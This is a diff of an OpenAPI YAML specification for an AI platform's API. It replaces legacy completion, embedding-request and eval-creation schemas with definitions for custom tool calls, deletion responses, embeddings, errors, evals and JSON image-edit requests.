- If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same `seed` and parameters should return the same result.
+ The sample audio recording file. Maximum size is 10 MiB.
- Determinism is not guaranteed, and you should refer to the `system_fingerprint` response parameter to monitor changes in the backend.
- stop:
- $ref: '#/components/schemas/StopConfiguration'
- stream:
+ Supported MIME types:
+ `audio/mpeg`, `audio/wav`, `audio/x-wav`, `audio/ogg`, `audio/aac`, `audio/flac`, `audio/webm`, `audio/mp4`.
+ consent:
+ type: string
+ description: The consent recording ID (for example, `cons_1234`).
+ required:
+ - name
+ - audio_sample
+ - consent
+ CustomToolCall:
+ type: object
+ title: Custom tool call
+ description: |
+ A call to a custom tool created by the model.
+ properties:
+ type:
+ type: string
+ enum:
+ - custom_tool_call
+ x-stainless-const: true
description: |
- Whether to stream back partial progress. If set, tokens will be sent as data-only [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format) as they become available, with the stream terminated by a `data: [DONE]` message. [Example Python code](https://cookbook.openai.com/examples/how_to_stream_completions).
+ The type of the custom tool call. Always `custom_tool_call`.
+ id:
+ type: string
+ description: |
+ The unique ID of the custom tool call in the OpenAI platform.
+ call_id:
+ type: string
+ description: |
+ An identifier used to map this custom tool call to a tool call output.
+ caller:
+ anyOf:
+ - $ref: '#/components/schemas/ToolCallCaller'
+ - type: 'null'
+ namespace:
+ type: string
+ description: |
+ The namespace of the custom tool being called.
+ name:
+ type: string
+ description: |
+ The name of the custom tool being called.
+ input:
+ type: string
+ description: |
+ The input for the custom tool call generated by the model.
+ async:
type: boolean
- nullable: true
- default: false
- stream_options:
- $ref: '#/components/schemas/ChatCompletionStreamOptions'
- suffix:
description: |
- The suffix that comes after a completion of inserted text.
-
- This parameter is only supported for `gpt-3.5-turbo-instruct`.
- default: null
- nullable: true
+ Whether the custom tool call runs asynchronously.
+ required:
+ - type
+ - call_id
+ - name
+ - input
+ CustomToolCallOutput:
+ type: object
+ title: Custom tool call output
+ description: |
+ The output of a custom tool call from your code, being sent back to the model.
+ properties:
+ type:
type: string
- example: test.
- temperature:
- type: number
- minimum: 0
- maximum: 2
- default: 1
- example: 1
- nullable: true
+ enum:
+ - custom_tool_call_output
+ x-stainless-const: true
description: |
- What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
-
- We generally recommend altering this or `top_p` but not both.
- top_p:
- type: number
- minimum: 0
- maximum: 1
- default: 1
- example: 1
- nullable: true
+ The type of the custom tool call output. Always `custom_tool_call_output`.
+ id:
+ type: string
description: |
- An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.
-
- We generally recommend altering this or `temperature` but not both.
- user:
+ The unique ID of the custom tool call output in the OpenAI platform.
+ call_id:
+ type: string
+ description: |
+ The call ID, used to map this custom tool call output to a custom tool call.
+ caller:
+ anyOf:
+ - $ref: '#/components/schemas/ToolCallCallerParam'
+ - type: 'null'
+ output:
+ description: |
+ The output from the custom tool call generated by your code.
+ Can be a string or an list of output content.
+ anyOf:
+ - type: string
+ description: |
+ A string of the output of the custom tool call.
+ title: string output
+ - type: array
+ items:
+ $ref: '#/components/schemas/FunctionAndCustomToolCallOutput'
+ title: output content list
+ description: |
+ Text, image, or file output of the custom tool call.
+ required:
+ - type
+ - call_id
+ - output
+ CustomToolCallOutputResource:
+ title: ResponseCustomToolCallOutputItem
+ allOf:
+ - $ref: '#/components/schemas/CustomToolCallOutput'
+ - type: object
+ properties:
+ id:
+ type: string
+ description: |
+ The unique ID of the custom tool call output item.
+ status:
+ description: |
+ The status of the item. One of `in_progress`, `completed`, or
+ `incomplete`. Populated when items are returned via API.
+ $ref: '#/components/schemas/FunctionCallOutputStatusEnum'
+ created_by:
+ type: string
+ description: |
+ The identifier of the actor that created the item.
+ required:
+ - id
+ - status
+ CustomToolCallResource:
+ title: ResponseCustomToolCallItem
+ allOf:
+ - $ref: '#/components/schemas/CustomToolCall'
+ - type: object
+ properties:
+ id:
+ type: string
+ description: |
+ The unique ID of the custom tool call item.
+ status:
+ description: |
+ The status of the item. One of `in_progress`, `completed`, or
+ `incomplete`. Populated when items are returned via API.
+ $ref: '#/components/schemas/FunctionCallStatus'
+ created_by:
+ type: string
+ description: |
+ The identifier of the actor that created the item.
+ required:
+ - id
+ - status
+ CustomToolChatCompletions:
+ type: object
+ title: Custom tool
+ description: |
+ A custom tool that processes input using a specified format.
+ properties:
+ type:
type: string
- example: user-1234
+ enum:
+ - custom
+ description: The type of the custom tool. Always `custom`.
+ x-stainless-const: true
+ custom:
+ type: object
+ title: Custom tool properties
description: |
- A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
+ Properties of the custom tool.
+ properties:
+ name:
+ type: string
+ description: The name of the custom tool, used to identify it in tool calls.
+ description:
+ type: string
+ description: |
+ Optional description of the custom tool, used to provide more context.
+ format:
+ description: |
+ The input format for the custom tool. Default is unconstrained text.
+ anyOf:
+ - type: object
+ title: Text format
+ description: Unconstrained free-form text.
+ properties:
+ type:
+ type: string
+ enum:
+ - text
+ description: Unconstrained text format. Always `text`.
+ x-stainless-const: true
+ required:
+ - type
+ additionalProperties: false
+ - type: object
+ title: Grammar format
+ description: A grammar defined by the user.
+ properties:
+ type:
+ type: string
+ enum:
+ - grammar
+ description: Grammar format. Always `grammar`.
+ x-stainless-const: true
+ grammar:
+ type: object
+ title: Grammar format
+ description: Your chosen grammar.
+ properties:
+ definition:
+ type: string
+ description: The grammar definition.
+ syntax:
+ type: string
+ description: The syntax of the grammar definition. One of `lark` or `regex`.
+ enum:
+ - lark
+ - regex
+ required:
+ - definition
+ - syntax
+ required:
+ - type
+ - grammar
+ additionalProperties: false
+ discriminator:
+ propertyName: type
+ required:
+ - name
required:
- - model
- - prompt
- CreateCompletionResponse:
+ - type
+ - custom
+ DeleteAssistantResponse:
type: object
- description: |
- Represents a completion response from the API. Note: both the streamed and non-streamed response objects share the same shape (unlike the chat endpoint).
properties:
id:
type: string
- description: A unique identifier for the completion.
- choices:
- type: array
- description: The list of completion choices the model generated for the input prompt.
- items:
- type: object
- required:
- - finish_reason
- - index
- - logprobs
- - text
- properties:
- finish_reason:
- type: string
- description: |
- The reason the model stopped generating tokens. This will be `stop` if the model hit a natural stop point or a provided stop sequence,
- `length` if the maximum number of tokens specified in the request was reached,
- or `content_filter` if content was omitted due to a flag from our content filters.
- enum:
- - stop
- - length
- - content_filter
- index:
- type: integer
- logprobs:
- anyOf:
- - type: object
- properties:
- text_offset:
- type: array
- items:
- type: integer
- token_logprobs:
- type: array
- items:
- type: number
- tokens:
- type: array
- items:
- type: string
- top_logprobs:
- type: array
- items:
- type: object
- additionalProperties:
- type: number
- - type: 'null'
- text:
- type: string
- created:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the completion was created.
- model:
- type: string
- description: The model used for completion.
- system_fingerprint:
- type: string
- description: |
- This fingerprint represents the backend configuration that the model runs with.
-
- Can be used in conjunction with the `seed` request parameter to understand when backend changes have been made that might impact determinism.
+ deleted:
+ type: boolean
object:
type: string
- description: The object type, which is always "text_completion"
enum:
- - text_completion
+ - assistant.deleted
x-stainless-const: true
- usage:
- $ref: '#/components/schemas/CompletionUsage'
required:
- id
- object
- - created
- - model
- - choices
- x-oaiMeta:
- name: The completion object
- legacy: true
- example: |
- {
- "id": "cmpl-uqkvlQyYK7bGYrRHQ0eXlWi7",
- "object": "text_completion",
- "created": 1589478378,
- "model": "gpt-3.5-turbo-instruct",
- "choices": [
- {
- "text": "\n\nThis is indeed a test",
- "index": 0,
- "logprobs": null,
- "finish_reason": "length"
- }
- ],
- "usage": {
- "prompt_tokens": 5,
- "completion_tokens": 7,
- "total_tokens": 12
- }
- }
- CreateContainerBody:
+ - deleted
+ DeleteCertificateResponse:
type: object
properties:
- name:
- type: string
- description: Name of the container to create.
- file_ids:
- type: array
- description: IDs of files to copy to the container.
- items:
- type: string
- expires_after:
- type: object
- description: Container expiration time in seconds relative to the 'anchor' time.
- properties:
- anchor:
- type: string
- enum:
- - last_active_at
- description: Time anchor for the expiration time. Currently only 'last_active_at' is supported.
- minutes:
- type: integer
- required:
- - anchor
- - minutes
- skills:
- type: array
- description: An optional list of skills referenced by id or inline data.
- items:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/SkillReferenceParam'
- - $ref: '#/components/schemas/InlineSkillParam'
- memory_limit:
+ object:
+ x-stainless-const: true
+ description: The object type, must be `certificate.deleted`.
+ const: certificate.deleted
+ id:
type: string
- enum:
- - 1g
- - 4g
- - 16g
- - 64g
- description: Optional memory limit for the container. Defaults to "1g".
- network_policy:
- description: Network access policy for the container.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/ContainerNetworkPolicyDisabledParam'
- - $ref: '#/components/schemas/ContainerNetworkPolicyAllowlistParam'
+ description: The ID of the certificate that was deleted.
required:
- - name
- CreateContainerFileBody:
+ - object
+ - id
+ DeleteFileResponse:
type: object
properties:
- file_id:
+ id:
type: string
- description: Name of the file to create.
- file:
- description: |
- The File object (not file name) to be uploaded.
+ object:
type: string
- format: binary
- required: []
- CreateEmbeddingRequest:
+ enum:
+ - file
+ x-stainless-const: true
+ deleted:
+ type: boolean
+ required:
+ - id
+ - object
+ - deleted
+ DeleteFineTuningCheckpointPermissionResponse:
type: object
- additionalProperties: false
properties:
- input:
- description: |
- Input text to embed, encoded as a string or array of tokens. To embed multiple inputs in a single request, pass an array of strings or array of token arrays. The input must not exceed the max input tokens for the model (8192 tokens for all embedding models), cannot be an empty string, and any array must be 2048 dimensions or less. [Example Python code](https://cookbook.openai.com/examples/how_to_count_tokens_with_tiktoken) for counting tokens. In addition to the per-input token limit, all embedding models enforce a maximum of 300,000 tokens summed across all inputs in a single request.
- example: The quick brown fox jumped over the lazy dog
- anyOf:
- - type: string
- title: string
- description: The string that will be turned into an embedding.
- default: ''
- example: This is a test.
- - type: array
- title: Array of strings
- description: The array of strings that will be turned into an embedding.
- minItems: 1
- maxItems: 2048
- items:
- type: string
- default: ''
- example: '[''This is a test.'']'
- - type: array
- title: Array of tokens
- description: The array of integers that will be turned into an embedding.
- minItems: 1
- maxItems: 2048
- items:
- type: integer
- - type: array
- title: Array of token arrays
- description: The array of arrays containing integers that will be turned into an embedding.
- minItems: 1
- maxItems: 2048
- items:
- type: array
- minItems: 1
- items:
- type: integer
- model:
- description: |
- ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
- example: text-embedding-3-small
- anyOf:
- - type: string
- - type: string
- enum:
- - text-embedding-ada-002
- - text-embedding-3-small
- - text-embedding-3-large
- x-stainless-nominal: false
- x-oaiTypeLabel: string
- encoding_format:
- description: The format to return the embeddings in. Can be either `float` or [`base64`](https://pypi.org/project/pybase64/).
- example: float
- default: float
+ id:
type: string
- enum:
- - float
- - base64
- dimensions:
- description: |
- The number of dimensions the resulting output embeddings should have. Only supported in `text-embedding-3` and later models.
- type: integer
- minimum: 1
- user:
+ description: The ID of the fine-tuned model checkpoint permission that was deleted.
+ object:
type: string
- example: user-1234
- description: |
- A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
+ description: The object type, which is always "checkpoint.permission".
+ enum:
+ - checkpoint.permission
+ x-stainless-const: true
+ deleted:
+ type: boolean
+ description: Whether the fine-tuned model checkpoint permission was successfully deleted.
required:
- - model
- - input
- CreateEmbeddingResponse:
+ - id
+ - object
+ - deleted
+ DeleteMessageResponse:
type: object
properties:
- data:
- type: array
- description: The list of embeddings generated by the model.
- items:
- $ref: '#/components/schemas/Embedding'
- model:
+ id:
type: string
- description: The name of the model used to generate the embedding.
+ deleted:
+ type: boolean
object:
type: string
- description: The object type, which is always "list".
enum:
- - list
+ - thread.message.deleted
x-stainless-const: true
- usage:
- type: object
- description: The usage information for the request.
- properties:
- prompt_tokens:
- type: integer
- description: The number of tokens used by the prompt.
- total_tokens:
- type: integer
- description: The total number of tokens used by the request.
- required:
- - prompt_tokens
- - total_tokens
required:
+ - id
- object
- - model
- - data
- - usage
- CreateEvalCompletionsRunDataSource:
+ - deleted
+ DeleteModelResponse:
type: object
- title: CompletionsRunDataSource
- description: |
- A CompletionsRunDataSource object describing a model sampling configuration.
properties:
- type:
+ id:
+ type: string
+ deleted:
+ type: boolean
+ object:
+ type: string
+ required:
+ - id
+ - object
+ - deleted
+ DeleteThreadResponse:
+ type: object
+ properties:
+ id:
+ type: string
+ deleted:
+ type: boolean
+ object:
type: string
enum:
- - completions
- default: completions
- description: The type of run data source. Always `completions`.
- input_messages:
- description: Used when sampling from a model. Dictates the structure of the messages passed into the model. Can either be a reference to a prebuilt trajectory (ie, `item.input_trajectory`), or a template with variable references to the `item` namespace.
- anyOf:
- - type: object
- title: TemplateInputMessages
- properties:
- type:
- type: string
- enum:
- - template
- description: The type of input messages. Always `template`.
- template:
- type: array
- description: A list of chat messages forming the prompt or context. May include variable references to the `item` namespace, ie {{item.name}}.
- items:
- anyOf:
- - $ref: '#/components/schemas/EasyInputMessage'
- - $ref: '#/components/schemas/EvalItem'
- required:
- - type
- - template
- - type: object
- title: ItemReferenceInputMessages
- properties:
- type:
- type: string
- enum:
- - item_reference
- description: The type of input messages. Always `item_reference`.
- item_reference:
- type: string
- description: A reference to a variable in the `item` namespace. Ie, "item.input_trajectory"
- required:
- - type
- - item_reference
- discriminator:
- propertyName: type
- sampling_params:
- type: object
- properties:
- reasoning_effort:
- $ref: '#/components/schemas/ReasoningEffort'
- temperature:
- type: number
- description: A higher temperature increases randomness in the outputs.
- default: 1
- max_completion_tokens:
- type: integer
- description: The maximum number of tokens in the generated output.
- top_p:
- type: number
- description: An alternative to temperature for nucleus sampling; 1.0 includes all tokens.
- default: 1
- seed:
- type: integer
- description: A seed value to initialize the randomness, during sampling.
- default: 42
- response_format:
- description: |
- An object specifying the format that the model must output.
-
- Setting to `{ "type": "json_schema", "json_schema": {...} }` enables
- Structured Outputs which ensures the model will match your supplied JSON
- schema. Learn more in the [Structured Outputs
- guide](https://developers.openai.com/api/docs/guides/structured-outputs).
-
- Setting to `{ "type": "json_object" }` enables the older JSON mode, which
- ensures the message the model generates is valid JSON. Using `json_schema`
- is preferred for models that support it.
- anyOf:
- - $ref: '#/components/schemas/ResponseFormatText'
- - $ref: '#/components/schemas/ResponseFormatJsonSchema'
- - $ref: '#/components/schemas/ResponseFormatJsonObject'
- tools:
- type: array
- description: |
- A list of tools the model may call. Currently, only functions are supported as a tool. Use this to provide a list of functions the model may generate JSON inputs for. A max of 128 functions are supported.
- items:
- $ref: '#/components/schemas/ChatCompletionTool'
- model:
+ - thread.deleted
+ x-stainless-const: true
+ required:
+ - id
+ - object
+ - deleted
+ DeleteVectorStoreFileResponse:
+ type: object
+ properties:
+ id:
type: string
- description: The name of the model to use for generating completions (e.g. "o3-mini").
- source:
- description: Determines what populates the `item` namespace in this run's data source.
- anyOf:
- - $ref: '#/components/schemas/EvalJsonlFileContentSource'
- - $ref: '#/components/schemas/EvalJsonlFileIdSource'
- - $ref: '#/components/schemas/EvalStoredCompletionsSource'
- discriminator:
- propertyName: type
+ deleted:
+ type: boolean
+ object:
+ type: string
+ enum:
+ - vector_store.file.deleted
+ x-stainless-const: true
required:
- - type
- - source
- x-oaiMeta:
- name: The completions data source object used to configure an individual run
- group: eval runs
- example: |
- {
- "name": "gpt-6-astra",
- "data_source": {
- "type": "completions",
- "input_messages": {
- "type": "item_reference",
- "item_reference": "item.input"
- },
- "model": "gpt-6-astra",
- "source": {
- "type": "stored_completions",
- "model": "gpt-6-astra"
- }
- }
- }
- CreateEvalCustomDataSourceConfig:
+ - id
+ - object
+ - deleted
+ DeleteVectorStoreResponse:
type: object
- title: CustomDataSourceConfig
- description: |
- A CustomDataSourceConfig object that defines the schema for the data source used for the evaluation runs.
- This schema is used to define the shape of the data that will be:
- - Used to define your testing criteria and
- - What data is required when creating a run
properties:
- type:
+ id:
+ type: string
+ deleted:
+ type: boolean
+ object:
type: string
enum:
- - custom
- default: custom
- description: The type of data source. Always `custom`.
+ - vector_store.deleted
x-stainless-const: true
- item_schema:
- type: object
- description: The json schema for each row in the data source.
- additionalProperties: true
- include_sample_schema:
+ required:
+ - id
+ - object
+ - deleted
+ DeletedConversation:
+ title: The deleted conversation object
+ allOf:
+ - $ref: '#/components/schemas/DeletedConversationResource'
+ x-oaiMeta:
+ name: The deleted conversation object
+ group: conversations
+ DeletedRoleAssignmentResource:
+ type: object
+ description: Confirmation payload returned after unassigning a role.
+ properties:
+ object:
+ type: string
+ description: Identifier for the deleted assignment, such as `group.role.deleted` or `user.role.deleted`.
+ deleted:
type: boolean
- default: false
- description: Whether the eval should expect you to populate the sample namespace (ie, by generating responses off of your data source)
+ description: Whether the assignment was removed.
required:
- - item_schema
- - type
+ - object
+ - deleted
x-oaiMeta:
- name: The eval file data source config object
- group: evals
+ name: Role assignment deletion confirmation
example: |
{
- "type": "custom",
- "item_schema": {
- "type": "object",
- "properties": {
- "name": {"type": "string"},
- "age": {"type": "integer"}
- },
- "required": ["name", "age"]
- },
- "include_sample_schema": true
+ "object": "group.role.deleted",
+ "deleted": true
}
- CreateEvalItem:
- title: CreateEvalItem
- description: A chat message that makes up the prompt or context. May include variable references to the `item` namespace, ie {{item.name}}.
- type: object
- x-oaiMeta:
- name: The chat message object used to configure an individual run
- anyOf:
- - type: object
- title: SimpleInputMessage
- properties:
- role:
- type: string
- description: The role of the message (e.g. "system", "assistant", "user").
- content:
- type: string
- description: The content of the message.
- required:
- - role
- - content
- - $ref: '#/components/schemas/EvalItem'
- CreateEvalJsonlRunDataSource:
+ DoneEvent:
type: object
- title: JsonlRunDataSource
- description: "A JsonlRunDataSource object with that specifies a JSONL file that matches the eval \n"
properties:
- type:
+ event:
type: string
enum:
- - jsonl
- default: jsonl
- description: The type of data source. Always `jsonl`.
+ - done
+ x-stainless-const: true
+ data:
+ type: string
+ enum:
+ - '[DONE]'
x-stainless-const: true
- source:
- description: Determines what populates the `item` namespace in the data source.
- anyOf:
- - $ref: '#/components/schemas/EvalJsonlFileContentSource'
- - $ref: '#/components/schemas/EvalJsonlFileIdSource'
- discriminator:
- propertyName: type
required:
- - type
- - source
+ - event
+ - data
+ description: Occurs when a stream ends.
x-oaiMeta:
- name: The file data source object for the eval run configuration
- group: evals
- example: |
- {
- "type": "jsonl",
- "source": {
- "type": "file_id",
- "id": "file-9GYS6xbkWgWhmE7VoLUWFg"
- }
- }
- CreateEvalLabelModelGrader:
+ dataDescription: '`data` is `[DONE]`'
+ EasyInputMessage:
type: object
- title: LabelModelGrader
+ title: Input message
description: |
- A LabelModelGrader object which uses a model to assign labels to each item
- in the evaluation.
+ A message input to the model with a role indicating instruction following
+ hierarchy. Instructions given with the `developer` or `system` role take
+ precedence over instructions given with the `user` role. Messages with the
+ `assistant` role are presumed to have been generated by the model in previous
+ interactions.
properties:
+ role:
+ type: string
+ description: |
+ The role of the message input. One of `user`, `assistant`, `system`, or
+ `developer`.
+ enum:
+ - user
+ - assistant
+ - system
+ - developer
+ content:
+ description: |
+ Text, image, or audio input to the model, used to generate a response.
+ Can also contain previous assistant responses.
+ anyOf:
+ - type: string
+ title: Text input
+ description: |
+ A text input to the model.
+ - $ref: '#/components/schemas/InputMessageContentList'
+ phase:
+ anyOf:
+ - $ref: '#/components/schemas/MessagePhase'
+ - type: 'null'
type:
- description: The object type, which is always `label_model`.
type: string
+ description: |
+ The type of the message input. Always `message`.
enum:
- - label_model
+ - message
x-stainless-const: true
- name:
- type: string
- description: The name of the grader.
+ required:
+ - role
+ - content
+ EditImageBodyJsonParam:
+ type: object
+ description: |
+ JSON request body for image edits.
+
+ Use `images` (array of `ImageRefParam`) instead of multipart `image` uploads.
+ You can reference images via external URLs, data URLs, or uploaded file IDs.
+ JSON edits support GPT image models only; DALL-E edits require multipart (`dall-e-2` only).
+ properties:
model:
- type: string
- description: The model to use for the evaluation. Must support structured outputs.
- input:
- type: array
- description: A list of chat messages forming the prompt or context. May include variable references to the `item` namespace, ie {{item.name}}.
- items:
- $ref: '#/components/schemas/CreateEvalItem'
- labels:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - gpt-image-1.5
+ - gpt-image-2
+ - gpt-image-2-2026-04-21
+ - gpt-image-2.5-sunburst
+ - gpt-image-2.5-sunburst-2026-09-08
+ - gpt-image-2.5-flare
+ - gpt-image-2.5-flare-2026-09-08
+ - gpt-image-1
+ - gpt-image-1-mini
+ - chatgpt-image-latest
+ - type: 'null'
+ x-oaiTypeLabel: string
+ default: gpt-image-1.5
+ example: gpt-image-1.5
+ description: The GPT image model to use for image editing, including `gpt-image-2`, its dated snapshot `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`.
+ images:
type: array
+ minItems: 1
+ maxItems: 16
+ description: |
+ Input image references to edit.
+ For GPT image models, you can provide up to 16 images.
items:
- type: string
- description: The labels to classify to each item in the evaluation.
- passing_labels:
+ $ref: '#/components/schemas/ImageRefParam'
+ mask:
+ $ref: '#/components/schemas/ImageRefParam'
+ prompt:
+ type: string
+ minLength: 1
+ maxLength: 32000
+ example: Add a watercolor effect and keep the subject centered
+ description: A text description of the desired image edit.
+ n:
+ anyOf:
+ - type: integer
+ minimum: 1
+ maximum: 10
+ - type: 'null'
+ default: 1
+ example: 1
+ description: The number of edited images to generate.
+ quality:
+ anyOf:
+ - type: string
+ enum:
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ - type: 'null'
+ default: auto
+ example: high
+ description: |
+ Output quality for GPT image models. The GPT image models support `low`, `medium`,
+ and `high`. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, also support `xhigh` and `max`. Defaults to `auto`.
+ input_fidelity:
+ anyOf:
+ - type: string
+ enum:
+ - high
+ - low
+ - type: 'null'
+ description: Controls fidelity to the original input image(s). This parameter is supported for GPT image models that support input fidelity. `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
+ size:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - auto
+ - 1024x1024
+ - 1536x1024
+ - 1024x1536
+ - type: 'null'
+ default: auto
+ example: 1024x1024
+ description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing.
+ user:
+ type: string
+ example: user-1234
+ description: |
+ A unique identifier representing your end-user, which can help OpenAI
+ monitor and detect abuse.
+ output_format:
+ anyOf:
+ - type: string
+ enum:
+ - png
+ - jpeg
+ - webp
+ - type: 'null'
+ default: png
+ example: png
+ description: Output image format. Supported for GPT image models.
+ output_compression:
+ anyOf:
+ - type: integer
+ minimum: 0
+ maximum: 100
+ - type: 'null'
+ example: 100
+ description: Compression level for `jpeg` or `webp` output.
+ moderation:
+ anyOf:
+ - type: string
+ enum:
+ - low
+ - auto
+ - type: 'null'
+ default: auto
+ example: auto
+ description: Moderation level for GPT image models.
+ background:
+ anyOf:
+ - type: string
+ enum:
+ - transparent
+ - opaque
+ - auto
+ - type: 'null'
+ default: auto
+ example: transparent
+ description: Set the background of the generated image output. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds. Transparent backgrounds are available for supported GPT Image models. For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`, set the output format to `png` or `webp`.
+ stream:
+ anyOf:
+ - type: boolean
+ - type: 'null'
+ default: false
+ example: false
+ description: Stream partial image results as events.
+ partial_images:
+ $ref: '#/components/schemas/PartialImages'
+ required:
+ - images
+ - prompt
+ Embedding:
+ type: object
+ description: |
+ Represents an embedding vector returned by embedding endpoint.
+ properties:
+ index:
+ type: integer
+ description: The index of the embedding in the list of embeddings.
+ embedding:
type: array
+ description: |
+ The embedding vector, which is a list of floats. The length of vector depends on the model as listed in the [embedding guide](https://developers.openai.com/api/docs/guides/embeddings).
items:
- type: string
- description: The labels that indicate a passing result. Must be a subset of labels.
+ type: number
+ format: float
+ object:
+ type: string
+ description: The object type, which is always "embedding".
+ enum:
+ - embedding
+ x-stainless-const: true
required:
- - type
- - model
- - input
- - passing_labels
- - labels
- - name
+ - index
+ - object
+ - embedding
x-oaiMeta:
- name: The eval label model grader object
- group: evals
+ name: The embedding object
example: |
{
- "type": "label_model",
- "model": "gpt-4o-2024-08-06",
- "input": [
- {
- "role": "system",
- "content": "Classify the sentiment of the following statement as one of 'positive', 'neutral', or 'negative'"
- },
- {
- "role": "user",
- "content": "Statement: {{item.response}}"
- }
+ "object": "embedding",
+ "embedding": [
+ 0.0023064255,
+ -0.009327292,
+ .... (1536 floats total for ada-002)
+ -0.0028842222,
],
- "passing_labels": ["positive"],
- "labels": ["positive", "neutral", "negative"],
- "name": "Sentiment label grader"
+ "index": 0
}
- CreateEvalLogsDataSourceConfig:
+ Error:
type: object
- title: LogsDataSourceConfig
- description: |
- A data source config which specifies the metadata property of your logs query.
- This is usually metadata like `usecase=chatbot` or `prompt-version=v2`, etc.
properties:
+ code:
+ anyOf:
+ - type: string
+ - type: 'null'
+ message:
+ type: string
+ param:
+ anyOf:
+ - type: string
+ - type: 'null'
type:
type: string
+ misalignment:
+ $ref: '#/components/schemas/MisalignmentErrorDetailsResource'
+ required:
+ - type
+ - message
+ - param
+ - code
+ ErrorEvent:
+ type: object
+ properties:
+ event:
+ type: string
enum:
- - logs
- default: logs
- description: The type of data source. Always `logs`.
+ - error
x-stainless-const: true
- metadata:
- type: object
- description: Metadata filters for the logs data source.
- additionalProperties: true
+ data:
+ $ref: '#/components/schemas/Error'
required:
- - type
+ - event
+ - data
+ description: Occurs when an [error](https://developers.openai.com/api/docs/guides/error-codes#api-errors) occurs. This can happen due to an internal server error or a timeout.
x-oaiMeta:
- name: The logs data source object for evals
- group: evals
- example: |
- {
- "type": "logs",
- "metadata": {
- "use_case": "customer_support_agent"
- }
- }
- CreateEvalRequest:
+ dataDescription: '`data` is an [error](https://developers.openai.com/api/docs/guides/error-codes#api-errors)'
+ ErrorResponse:
type: object
- title: CreateEvalRequest
properties:
+ error:
+ $ref: '#/components/schemas/Error'
+ required:
+ - error
+ Eval:
+ type: object
+ title: Eval
+ description: |
+ An Eval object with a data source config and testing criteria.
+ An Eval represents a task to be done for your LLM integration.
+ Like:
+ - Improve the quality of my chatbot
+ - See how well my chatbot handles customer support
+ - Check if o4-mini is better at my usecase than gpt-6-astra
+ properties:
+ object:
+ type: string
+ enum:
+ - eval
+ default: eval
+ description: The object type.
+ x-stainless-const: true
+ id:
+ type: string
+ description: Unique identifier for the evaluation.
name:
type: string
description: The name of the evaluation.
- metadata:
- $ref: '#/components/schemas/Metadata'
+ example: Chatbot effectiveness Evaluation
data_source_config:
type: object
- description: The configuration for the data source used for the evaluation runs. Dictates the schema of the data used in the evaluation.
+ description: Configuration of data sources used in runs of the evaluation.
anyOf:
- - $ref: '#/components/schemas/CreateEvalCustomDataSourceConfig'
- - $ref: '#/components/schemas/CreateEvalLogsDataSourceConfig'
- - $ref: '#/components/schemas/CreateEvalStoredCompletionsDataSourceConfig'
+ - $ref: '#/components/schemas/EvalCustomDataSourceConfig'
+ - $ref: '#/components/schemas/EvalLogsDataSourceConfig'
+ - $ref: '#/components/schemas/EvalStoredCompletionsDataSourceConfig'
discriminator:
propertyName: type
testing_criteria:
+ description: A list of testing criteria.
type: array
- description: A list of graders for all eval runs in this group. Graders can reference variables in the data source using double curly braces notation, like `{{item.variable_name}}`. To reference the model's output, use the `sample` namespace (ie, `{{sample.output_text}}`).
items:
anyOf:
- - $ref: '#/components/schemas/CreateEvalLabelModelGrader'
+ - $ref: '#/components/schemas/EvalGraderLabelModel'
- $ref: '#/components/schemas/EvalGraderStringCheck'
- $ref: '#/components/schemas/EvalGraderTextSimilarity'
- $ref: '#/components/schemas/EvalGraderPython'
- $ref: '#/components/schemas/EvalGraderScoreModel'
- discriminator:
- propertyName: type
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the eval was created.
+ metadata:
+ $ref: '#/components/schemas/Metadata'
required:
+ - id
- data_source_config
+ - object
- testing_criteria
- CreateEvalResponsesRunDataSource:
- type: object
- title: CreateEvalResponsesRunDataSource
- description: |
- A ResponsesRunDataSource object describing a model sampling configuration.
- properties:
- type:
- type: string
- enum:
- - responses
- default: responses
- description: The type of run data source. Always `responses`.
- input_messages:
- description: Used when sampling from a model. Dictates the structure of the messages passed into the model. Can either be a reference to a prebuilt trajectory (ie, `item.input_trajectory`), or a template with variable references to the `item` namespace.
- anyOf:
- - type: object
- title: InputMessagesTemplate
- properties:
- type:
- type: string
- enum:
- - template
- description: The type of input messages. Always `template`.
- template:
- type: array
